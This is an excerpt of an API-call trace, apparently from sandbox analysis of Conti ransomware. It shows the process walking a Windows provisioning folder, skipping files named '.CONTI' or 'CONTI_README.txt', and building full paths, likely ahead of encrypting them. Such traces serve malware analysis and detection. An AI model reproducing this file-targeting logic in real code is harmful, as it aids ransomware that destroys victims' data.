	[0109.658] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9149c8b9, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9149c8b9, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9149c8b9, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x37d, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="571__Connections_Cellular_TELEKOM.RO (Romania)_i2$(__MVID)@WAP.provxml", cAlternateFileName="571__C~1.PRO")) returned 1
	[0109.659] lstrcmpiW (lpString1="571__Connections_Cellular_TELEKOM.RO (Romania)_i2$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.659] lstrcmpiW (lpString1="571__Connections_Cellular_TELEKOM.RO (Romania)_i2$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.659] StrStrIW (lpFirst="571__Connections_Cellular_TELEKOM.RO (Romania)_i2$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.659] StrStrIW (lpFirst="571__Connections_Cellular_TELEKOM.RO (Romania)_i2$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.659] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.659] lstrlenW (lpString="571__Connections_Cellular_TELEKOM.RO (Romania)_i2$(__MVID)@WAP.provxml") returned 70
	[0109.659] GetProcessHeap () returned 0x1720000
	[0109.659] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x142) returned 0x65b9e30
	[0109.659] lstrcpyW (in: lpString1=0x65b9e30, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.659] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.659] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="571__Connections_Cellular_TELEKOM.RO (Romania)_i2$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\571__Connections_Cellular_TELEKOM.RO (Romania)_i2$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\571__Connections_Cellular_TELEKOM.RO (Romania)_i2$(__MVID)@WAP.provxml"
	[0109.659] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9149c8b9, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9149c8b9, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9149c8b9, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2c0, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="572__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", cAlternateFileName="572__C~1.PRO")) returned 1
	[0109.659] lstrcmpiW (lpString1="572__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.659] lstrcmpiW (lpString1="572__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.659] StrStrIW (lpFirst="572__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.659] StrStrIW (lpFirst="572__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.659] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.659] lstrlenW (lpString="572__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml") returned 62
	[0109.659] GetProcessHeap () returned 0x1720000
	[0109.659] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x132) returned 0x65b8238
	[0109.659] lstrcpyW (in: lpString1=0x65b8238, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.659] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.659] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="572__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\572__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\572__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml"
	[0109.659] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9149c8b9, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9149c8b9, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9149c8b9, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x1d3, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="573__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", cAlternateFileName="573__C~1.PRO")) returned 1
	[0109.659] lstrcmpiW (lpString1="573__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpString2=".") returned 1
	[0109.659] lstrcmpiW (lpString1="573__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpString2="..") returned 1
	[0109.659] StrStrIW (lpFirst="573__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch=".CONTI") returned 0x0
	[0109.659] StrStrIW (lpFirst="573__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.659] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.659] lstrlenW (lpString="573__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml") returned 53
	[0109.659] GetProcessHeap () returned 0x1720000
	[0109.660] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x120) returned 0x1819b70
	[0109.660] lstrcpyW (in: lpString1=0x1819b70, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.660] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.660] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="573__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\573__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\573__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml"
	[0109.660] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x914c2b28, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x914c2b28, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x914c2b28, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2cc, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="574__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", cAlternateFileName="574__C~1.PRO")) returned 1
	[0109.662] lstrcmpiW (lpString1="574__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.662] lstrcmpiW (lpString1="574__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.662] StrStrIW (lpFirst="574__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.662] StrStrIW (lpFirst="574__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.662] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.662] lstrlenW (lpString="574__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml") returned 62
	[0109.662] GetProcessHeap () returned 0x1720000
	[0109.662] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x132) returned 0x65b6898
	[0109.662] lstrcpyW (in: lpString1=0x65b6898, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.662] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.662] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="574__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\574__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\574__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml"
	[0109.662] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x914c2b28, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x914c2b28, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x914c2b28, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x1d3, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="575__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", cAlternateFileName="575__C~1.PRO")) returned 1
	[0109.662] lstrcmpiW (lpString1="575__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpString2=".") returned 1
	[0109.662] lstrcmpiW (lpString1="575__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpString2="..") returned 1
	[0109.662] StrStrIW (lpFirst="575__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch=".CONTI") returned 0x0
	[0109.662] StrStrIW (lpFirst="575__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.663] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.663] lstrlenW (lpString="575__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml") returned 53
	[0109.663] GetProcessHeap () returned 0x1720000
	[0109.663] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x120) returned 0x1818a18
	[0109.663] lstrcpyW (in: lpString1=0x1818a18, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.663] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.663] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="575__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\575__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\575__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml"
	[0109.663] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x914c2b28, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x914c2b28, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x914c2b28, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2cb, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="576__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", cAlternateFileName="576__C~1.PRO")) returned 1
	[0109.663] lstrcmpiW (lpString1="576__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.663] lstrcmpiW (lpString1="576__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.663] StrStrIW (lpFirst="576__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.663] StrStrIW (lpFirst="576__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.663] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.663] lstrlenW (lpString="576__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml") returned 62
	[0109.663] GetProcessHeap () returned 0x1720000
	[0109.663] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x132) returned 0x65b69e0
	[0109.663] lstrcpyW (in: lpString1=0x65b69e0, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.663] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.663] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="576__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\576__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\576__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml"
	[0109.663] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x914c2b28, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x914c2b28, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x914c2b28, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2c7, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="577__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", cAlternateFileName="577__C~1.PRO")) returned 1
	[0109.663] lstrcmpiW (lpString1="577__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.663] lstrcmpiW (lpString1="577__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.663] StrStrIW (lpFirst="577__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.663] StrStrIW (lpFirst="577__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.663] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.663] lstrlenW (lpString="577__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml") returned 62
	[0109.663] GetProcessHeap () returned 0x1720000
	[0109.663] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x132) returned 0x65b6db8
	[0109.663] lstrcpyW (in: lpString1=0x65b6db8, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.663] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.663] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="577__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\577__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\577__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml"
	[0109.664] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x914c2b28, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x914c2b28, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x914c2b28, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2c9, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="578__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", cAlternateFileName="578__C~1.PRO")) returned 1
	[0109.664] lstrcmpiW (lpString1="578__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.664] lstrcmpiW (lpString1="578__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.664] StrStrIW (lpFirst="578__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.664] StrStrIW (lpFirst="578__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.664] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.664] lstrlenW (lpString="578__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml") returned 62
	[0109.664] GetProcessHeap () returned 0x1720000
	[0109.664] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x132) returned 0x17d8060
	[0109.664] lstrcpyW (in: lpString1=0x17d8060, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.664] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.664] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="578__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\578__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\578__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml"
	[0109.664] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x914e8d94, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x914e8d94, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x914e8d94, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2cd, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="579__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", cAlternateFileName="579__C~1.PRO")) returned 1
	[0109.664] lstrcmpiW (lpString1="579__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.664] lstrcmpiW (lpString1="579__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.664] StrStrIW (lpFirst="579__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.664] StrStrIW (lpFirst="579__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.664] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.664] lstrlenW (lpString="579__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml") returned 62
	[0109.664] GetProcessHeap () returned 0x1720000
	[0109.664] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x132) returned 0x17d7768
	[0109.664] lstrcpyW (in: lpString1=0x17d7768, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
